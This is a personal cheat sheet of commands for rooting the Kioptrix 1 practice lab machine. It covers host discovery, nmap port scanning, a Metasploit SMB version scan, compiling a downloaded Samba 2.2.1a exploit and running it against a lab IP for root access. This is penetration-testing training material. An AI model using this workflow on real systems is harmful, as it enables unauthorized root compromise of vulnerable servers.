Kioptrix 1 Commands

netdiscover -i eth1 //to find hosts (type ‘q’ to quit ) ctl-shift-c to cut)

nmap -p- -A [ip address] //to map open ports

msfconsole //open metsploit

use auxiliary/scanner/smb/smb\_version //to run auxiliary scanner to find samba version to exploit

set RHOST [ip address] //to point RHOST to where to run scanner

run //to start aux scanner (in the Kioptrix 1 machine, Sanba 2.2.1a was found)

/\*then cut and paste Sanba version to Google search for exploits then cut paste raw code)

exit //exit Metasploit

vi [name of file (200.c)] //create file for

type ‘i’ //to enter interactive mode

cut and paste raw code then ‘esc’

:wq //to quit

gcc [file name 200.c] -o [executable file name (200)] //to compile exploit

./[exec file name (200)] //to see what switches the exploit will do

./200 -b 0 192.168.56.110 //to run brute force -b switch to see if worked

Type ‘hostname’ to see if in vuln machine

cd /root //to change dir to root

ls //to list root files

////when done, you have root access on vuln machine